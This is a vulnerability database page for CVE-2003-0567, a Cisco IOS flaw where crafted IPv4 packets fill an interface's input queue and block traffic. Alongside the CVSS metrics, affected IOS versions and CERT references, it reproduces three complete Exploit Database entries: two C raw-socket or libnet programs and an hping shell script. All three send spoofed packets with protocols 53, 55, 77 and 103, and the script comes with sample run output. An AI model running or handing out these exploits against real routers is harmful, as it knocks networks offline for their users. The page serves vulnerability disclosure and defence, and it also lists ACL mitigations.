CVE-2003-0567 : Detail

CVE-2003-0567

A03-Injection
80.51%V3
Network
2003-07-25
02h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cisco IOS 11.x and 12.0 through 12.2 allows remote attackers to cause a denial of service (traffic block) by sending a particular sequence of IPv4 packets to an interface on the device, causing the input queue on that interface to be marked as full.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 60

Publication date : 2003-07-20 22h00 +00:00
Author : Martin Kluge
EDB Verified : Yes

/*******************************************************/ /* cisco-bug-44020.c - Copyright by Martin Kluge ([email protected]) */ /* */ /* Feel free to modify this code as you like, as long as you include */ /* the above copyright statement. */ /* */ /* Please use this code only to check your OWN cisco routers. */ /* */ /* */ /* This exploit uses the bug in recent IOS versions to stop router */ /* from processing traffic once the input queue is full. */ /* */ /* */ /* Use access control lists as described in the CISCO advisory to */ /* protect your cisco routers: */ /* */ /* access-list 101 deny 53 any any */ /* access-list 101 deny 55 any any */ /* access-list 101 deny 77 any any */ /* access-list 101 deny 103 any any */ /* */ /* This code was only tested on linux, no warranty is or will be */ /* */ /* Usage: ./cisco-bug-44020 <src ip> <dst ip> <hops> <number> */ /* Source IP: Your source IP (or a spoofed source IP) */ /* Destination IP: The IP of the vulnerable cisco router */ /* Hops: The number of hops between you and the router, */ /* the time to live (ttl) should be 0 when the packet */ /* is received by the cisco router. */ /* Number: Number of packets to send (0 = loop) */ /* provided. */ /*******************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #define DEBUG #ifndef IPPROTO_RAW #define IPPROTO_RAW 0 #endif /* IPv4 header */ struct ipv4_pkt_header { unsigned int ipvhl:8; /* Version + Header length */ unsigned int type_service:8; /* TOS(Type of Service) field */ unsigned short packet_len; /* Header+Payload length */ unsigned short ident; /* Identification field */ unsigned short fragment; /* Fragment Offset field */ unsigned int time_live:8; /* TTL(Time to Live) field */ unsigned int protocol:8; /* Protocol field */ unsigned short sum; /* Checksum field */ struct in_addr src_ip; /* Source IP */ struct in_addr dst_ip; /* Destination IP */ }; char proto[] = {53,55,77,103}; /* Prototypes */ int in_cksum (unsigned short *, int, int); /* Main function */ int main (int argc, char *argv[]) { struct ipv4_pkt_header ipv4_hdr; struct sockaddr_in sin; struct timeval seed; unsigned long src_ip, dst_ip; int fd, hops, count, bytes; int len=0, i=0, n=0, loop=0; unsigned char *buf; /* Check command line args */ if(argc != 5) { fprintf(stderr, "Usage: %s <src ip> <dst ip> <hops> <number>\n\n", argv[0]); return(EXIT_FAILURE); } src_ip = inet_addr(argv[1]); dst_ip = inet_addr(argv[2]); hops = atoi(argv[3]); count = atoi(argv[4]); if(count == 0) { loop=1; count=1; } #ifdef DEBUG printf("DEBUG: Hops: %i\n", hops); #endif /* Open a raw socket */ if((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { fprintf(stderr, "Error: Cannot open raw socket.\n"); return(EXIT_FAILURE); } /* Build the IPv4 header */ ipv4_hdr.ipvhl = ((4 << 4) | 0x0f) & (5 | 0xf0); /* :) */ ipv4_hdr.type_service = 0x10; #ifdef OSTYPE_BSD ipv4_hdr.packet_len = 0x14 + len; ipv4_hdr.fragment = 0x4000; #else ipv4_hdr.packet_len = htons(0x14 + len); ipv4_hdr.fragment = htons(0x4000); #endif ipv4_hdr.time_live = hops; ipv4_hdr.src_ip.s_addr = src_ip; ipv4_hdr.dst_ip.s_addr = dst_ip; while(n < count) { /* Seed the random generator */ if(gettimeofday(&seed, NULL) == -1) { fprintf(stderr, "Error: Cannot seed the random generator.\n"); return(EXIT_FAILURE); } srandom((unsigned int) (seed.tv_sec ^ seed.tv_usec)); ipv4_hdr.protocol = proto[random() % 0x4]; #ifdef DEBUG printf("DEBUG: Protocol: %i\n", ipv4_hdr.protocol); #endif ipv4_hdr.ident = htons(random() % 0x7fff); /* Calculate checksum */ ipv4_hdr.sum = 0x0000; ipv4_hdr.sum = in_cksum((unsigned short *) &ipv4_hdr, 0x14 + len, 0); #ifdef DEBUG printf("DEBUG: Checksum: %i\n", ipv4_hdr.sum); #endif buf = malloc(0x14 + len); memset(buf, '\0', 0x14 + len); memcpy((unsigned char *) buf, (unsigned char *) &ipv4_hdr, 0x14 + len); #ifdef DEBUG printf("DEBUG: "); for(i=0; i < 0x14 + len; i++) printf(" %02x", buf[i]); printf("\n"); #endif memset(&sin, '\0', sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst_ip; bytes = sendto(fd, buf, 0x14 + len, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr)); #ifdef DEBUG printf("DEBUG: Wrote %i bytes.\n", bytes); #endif if(loop != 1) n++; free(buf); } close(fd); return(EXIT_SUCCESS); } int in_cksum(unsigned short *addr, int len, int csum) { register int sum = csum; unsigned short answer = 0; register unsigned short *w = addr; register int nleft = len; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { sum += htons(*(unsigned char *)w<<8); } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } // milw0rm.com [2003-07-21]
Exploit Database EDB-ID : 59

Publication date : 2003-07-17 22h00 +00:00
Author : l0cK
EDB Verified : Yes

/* * ShadowChode - Cisco IOS IPv4 Packet Processing Denial of Service Exploit * * Ping target router/switch for TTL to host. Subtract that number from 255 * and use that TTL on the command line. The TTL must equal 0 or 1 when it * reaches the target. The target must accept packets to the given target * interface address and there are some other caveats. * * BROUGHT TO YOU BY THE LETTERS C AND D * * [L0cK] */ #include <stdio.h> #include <sys/types.h> #include "libnet.h" #define MIN_PAYLOAD_LEN (26) #define CLEANUP { \ libnet_destroy(lh); \ free(payload); \ } int main(int argc, char *argv[]) { char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *lh; u_long dst_addr; int ttl; int payload_len; char *payload; libnet_ptag_t data_tag; libnet_ptag_t ip_tag; int i; int len; int protocols[] = { 53, 55, 77, 103 }; struct libnet_stats ls; lh = libnet_init(LIBNET_RAW4, NULL, errbuf); if (lh == NULL) { (void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(-1); } if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == -1)) { (void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]); libnet_destroy(lh); exit(-1); } { /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */ struct in_addr dst; if (!inet_aton(argv[1], &dst)) { perror("inet_aton"); libnet_destroy(lh); exit(-1); } dst_addr = dst.s_addr; } ttl = atoi(argv[2]); libnet_seed_prand(lh); len = libnet_get_prand(LIBNET_PR8); /* Mmmmm, suck up random amount of memory! */ payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len; payload = (char *) malloc(payload_len); if (payload == NULL) { perror("malloc"); libnet_destroy(lh); exit(-1); } for (i = 0; i < payload_len; i++) { payload[i] = i; } data_tag = LIBNET_PTAG_INITIALIZER; data_tag = libnet_build_data(payload, payload_len, lh, data_tag); if (data_tag == -1) { (void) fprintf(stderr, "Can't build data block: %s\n", libnet_geterror(lh)); CLEANUP; exit(-1); } ip_tag = LIBNET_PTAG_INITIALIZER; for (i = 0; i < 4; i++) { ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + payload_len, 0, libnet_get_prand(LIBNET_PRu16), 0, ttl, protocols[i], 0, libnet_get_prand(LIBNET_PRu32), dst_addr, NULL, 0, lh, ip_tag); if (ip_tag == -1) { (void) fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(lh)); CLEANUP; exit(-1); } len = libnet_write(lh); if (len == -1) { (void) fprintf(stderr, "Write error: %s\n", libnet_geterror(lh)); } } libnet_stats(lh, &ls); (void) fprintf(stderr, "Packets sent: %ld\n" "Packet errors: %ld\n" "Bytes written: %ld\n", ls.packets_sent, ls.packet_errors, ls.bytes_written); CLEANUP; return (0); } // milw0rm.com [2003-07-18]
Exploit Database EDB-ID : 62

Publication date : 2003-07-21 22h00 +00:00
Author : zerash
EDB Verified : Yes

#!/bin/tcsh -f # # Remote DoS exploit against the recent Cisco IOS vuln. Cisco doc. 44020 # Vulnerable versions - all Cisco devices running IOS. # Requirements : tcsh, and hping. # Get hping @ www.hping.org # # And you know the best part? This script actually works! Unlike the few .c's # floating around the net. Uses swipe for the protocol bit. Also, need to be uid=0, # OR +s ciscodos.sh because of hping opening raw sockets. # # Example : # # root@evicted # ping 192.168.1.1 # PING 192.168.1.1 (192.168.1.1): 56 data bytes # 64 bytes from 192.168.1.1: icmp_seq=0 ttl=150 time=1.287 ms # 64 bytes from 192.168.1.1: icmp_seq=1 ttl=150 time=0.817 ms # --- 192.168.1.1 ping statistics --- # 2 packets transmitted, 2 packets received, 0% packet loss # round-trip min/avg/max/std-dev = 0.817/1.052/1.287/0.235 ms # # root@evicted # ./ciscodos.sh 192.168.1.1 0 # HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes # --- 192.168.1.1 hping statistic --- # 19 packets tramitted, 0 packets received, 100% packet loss # round-trip min/avg/max = 0.0/0.0/0.0 ms # HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes # --- 192.168.1.1 hping statistic --- # 19 packets tramitted, 0 packets received, 100% packet loss # round-trip min/avg/max = 0.0/0.0/0.0 ms # -------------SNIP--------------- # root@evicted # ping 192.168.1.1 # PING 192.168.1.1 (192.168.1.1): 56 data bytes # --- 192.168.1.1 ping statistics --- # 2 packets transmitted, 0 packets received, 100% packet loss # -------------SNIP--------------- # # Coded by [email protected] # if ($1 == "" || $2 == "") then echo "usage: $0 <router hostname|address> <ttl>" exit endif foreach protocol (53) /usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto $protocol --count 76 --interval u250 --data 26 end # milw0rm.com [2003-07-22]

Products Mentioned

Configuraton 0

Cisco>>Ios >> Version 11.0

Cisco>>Ios >> Version 11.1

Cisco>>Ios >> Version 11.1aa

Cisco>>Ios >> Version 11.1ca

Cisco>>Ios >> Version 11.1cc

Cisco>>Ios >> Version 11.2

Cisco>>Ios >> Version 11.2p

Cisco>>Ios >> Version 11.2sa

Cisco>>Ios >> Version 11.3

Cisco>>Ios >> Version 11.3t

Cisco>>Ios >> Version 12.0

Cisco>>Ios >> Version 12.0da

Cisco>>Ios >> Version 12.0db

Cisco>>Ios >> Version 12.0dc

Cisco>>Ios >> Version 12.0s

Cisco>>Ios >> Version 12.0sc

Cisco>>Ios >> Version 12.0sl

Cisco>>Ios >> Version 12.0sp

Cisco>>Ios >> Version 12.0st

Cisco>>Ios >> Version 12.0sx

Cisco>>Ios >> Version 12.0sy

Cisco>>Ios >> Version 12.0sz

Cisco>>Ios >> Version 12.0t

Cisco>>Ios >> Version 12.0w5

Cisco>>Ios >> Version 12.0wc

Cisco>>Ios >> Version 12.0wt

Cisco>>Ios >> Version 12.0xa

Cisco>>Ios >> Version 12.0xb

Cisco>>Ios >> Version 12.0xc

Cisco>>Ios >> Version 12.0xd

Cisco>>Ios >> Version 12.0xe

Cisco>>Ios >> Version 12.0xf

Cisco>>Ios >> Version 12.0xg

Cisco>>Ios >> Version 12.0xh

Cisco>>Ios >> Version 12.0xi

Cisco>>Ios >> Version 12.0xj

Cisco>>Ios >> Version 12.0xk

Cisco>>Ios >> Version 12.0xl

Cisco>>Ios >> Version 12.0xm

Cisco>>Ios >> Version 12.0xn

Cisco>>Ios >> Version 12.0xp

Cisco>>Ios >> Version 12.0xq

Cisco>>Ios >> Version 12.0xr

Cisco>>Ios >> Version 12.0xs

Cisco>>Ios >> Version 12.0xu

Cisco>>Ios >> Version 12.0xv

Cisco>>Ios >> Version 12.0xw

Cisco>>Ios >> Version 12.1

Cisco>>Ios >> Version 12.1aa

Cisco>>Ios >> Version 12.1ax

Cisco>>Ios >> Version 12.1ay

Cisco>>Ios >> Version 12.1da

Cisco>>Ios >> Version 12.1db

Cisco>>Ios >> Version 12.1dc

Cisco>>Ios >> Version 12.1e

Cisco>>Ios >> Version 12.1ea

Cisco>>Ios >> Version 12.1eb

Cisco>>Ios >> Version 12.1ec

Cisco>>Ios >> Version 12.1ev

Cisco>>Ios >> Version 12.1ew

Cisco>>Ios >> Version 12.1ex

Cisco>>Ios >> Version 12.1ey

Cisco>>Ios >> Version 12.1m

Cisco>>Ios >> Version 12.1t

Cisco>>Ios >> Version 12.1xa

Cisco>>Ios >> Version 12.1xb

Cisco>>Ios >> Version 12.1xc

Cisco>>Ios >> Version 12.1xd

Cisco>>Ios >> Version 12.1xe

Cisco>>Ios >> Version 12.1xf

Cisco>>Ios >> Version 12.1xg

Cisco>>Ios >> Version 12.1xh

Cisco>>Ios >> Version 12.1xi

Cisco>>Ios >> Version 12.1xj

Cisco>>Ios >> Version 12.1xk

Cisco>>Ios >> Version 12.1xl

Cisco>>Ios >> Version 12.1xm

Cisco>>Ios >> Version 12.1xp

Cisco>>Ios >> Version 12.1xq

Cisco>>Ios >> Version 12.1xr

Cisco>>Ios >> Version 12.1xs

Cisco>>Ios >> Version 12.1xt

Cisco>>Ios >> Version 12.1xu

Cisco>>Ios >> Version 12.1xv

Cisco>>Ios >> Version 12.1xw

Cisco>>Ios >> Version 12.1xx

Cisco>>Ios >> Version 12.1xy

Cisco>>Ios >> Version 12.1xz

Cisco>>Ios >> Version 12.1yb

Cisco>>Ios >> Version 12.1yc

Cisco>>Ios >> Version 12.1yd

Cisco>>Ios >> Version 12.1ye

Cisco>>Ios >> Version 12.1yf

Cisco>>Ios >> Version 12.1yh

Cisco>>Ios >> Version 12.1yi

Cisco>>Ios >> Version 12.1yj

Cisco>>Ios >> Version 12.2

Cisco>>Ios >> Version 12.2b

Cisco>>Ios >> Version 12.2bc

Cisco>>Ios >> Version 12.2bw

Cisco>>Ios >> Version 12.2bx

Cisco>>Ios >> Version 12.2bz

Cisco>>Ios >> Version 12.2cx

Cisco>>Ios >> Version 12.2cy

Cisco>>Ios >> Version 12.2da

Cisco>>Ios >> Version 12.2dd

Cisco>>Ios >> Version 12.2dx

Cisco>>Ios >> Version 12.2ja

Cisco>>Ios >> Version 12.2mb

Cisco>>Ios >> Version 12.2mc

Cisco>>Ios >> Version 12.2mx

Cisco>>Ios >> Version 12.2s

Cisco>>Ios >> Version 12.2sx

Cisco>>Ios >> Version 12.2sy

Cisco>>Ios >> Version 12.2sz

Cisco>>Ios >> Version 12.2t

Cisco>>Ios >> Version 12.2xa

Cisco>>Ios >> Version 12.2xb

Cisco>>Ios >> Version 12.2xc

Cisco>>Ios >> Version 12.2xd

Cisco>>Ios >> Version 12.2xe

Cisco>>Ios >> Version 12.2xf

Cisco>>Ios >> Version 12.2xg

Cisco>>Ios >> Version 12.2xh

Cisco>>Ios >> Version 12.2xi

Cisco>>Ios >> Version 12.2xj

Cisco>>Ios >> Version 12.2xk

Cisco>>Ios >> Version 12.2xl

Cisco>>Ios >> Version 12.2xm

Cisco>>Ios >> Version 12.2xn

Cisco>>Ios >> Version 12.2xq

Cisco>>Ios >> Version 12.2xr

Cisco>>Ios >> Version 12.2xs

Cisco>>Ios >> Version 12.2xt

Cisco>>Ios >> Version 12.2xu

Cisco>>Ios >> Version 12.2xw

Cisco>>Ios >> Version 12.2ya

Cisco>>Ios >> Version 12.2yb

Cisco>>Ios >> Version 12.2yc

Cisco>>Ios >> Version 12.2yd

Cisco>>Ios >> Version 12.2yf

Cisco>>Ios >> Version 12.2yg

Cisco>>Ios >> Version 12.2yh

Cisco>>Ios >> Version 12.2yj

Cisco>>Ios >> Version 12.2yk

Cisco>>Ios >> Version 12.2yl

Cisco>>Ios >> Version 12.2ym

Cisco>>Ios >> Version 12.2yn

Cisco>>Ios >> Version 12.2yo

Cisco>>Ios >> Version 12.2yp

Cisco>>Ios >> Version 12.2yq

Cisco>>Ios >> Version 12.2yr

Cisco>>Ios >> Version 12.2ys

Cisco>>Ios >> Version 12.2yt

Cisco>>Ios >> Version 12.2yu

Cisco>>Ios >> Version 12.2yv

Cisco>>Ios >> Version 12.2yw

Cisco>>Ios >> Version 12.2yx

Cisco>>Ios >> Version 12.2yy

Cisco>>Ios >> Version 12.2yz

Cisco>>Ios >> Version 12.2za

Cisco>>Ios >> Version 12.2zb

Cisco>>Ios >> Version 12.2zc

Cisco>>Ios >> Version 12.2zd

Cisco>>Ios >> Version 12.2ze

Cisco>>Ios >> Version 12.2zf

Cisco>>Ios >> Version 12.2zg

Cisco>>Ios >> Version 12.2zh

Cisco>>Ios >> Version 12.2zj

Configuraton 0

Cisco>>Optical_networking_systems_software >> Version 3.0

Cisco>>Optical_networking_systems_software >> Version 3.1.0

Cisco>>Optical_networking_systems_software >> Version 3.2.0

Cisco>>Optical_networking_systems_software >> Version 3.3.0

Cisco>>Optical_networking_systems_software >> Version 3.4.0

Cisco>>Optical_networking_systems_software >> Version 4.0.0

Cisco>>Ons_15454_optical_transport_platform >> Version *

References

http://www.kb.cert.org/vuls/id/411332
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.cert.org/advisories/CA-2003-17.html
Tags : third-party-advisory, x_refsource_CERT
http://www.cert.org/advisories/CA-2003-15.html
Tags : third-party-advisory, x_refsource_CERT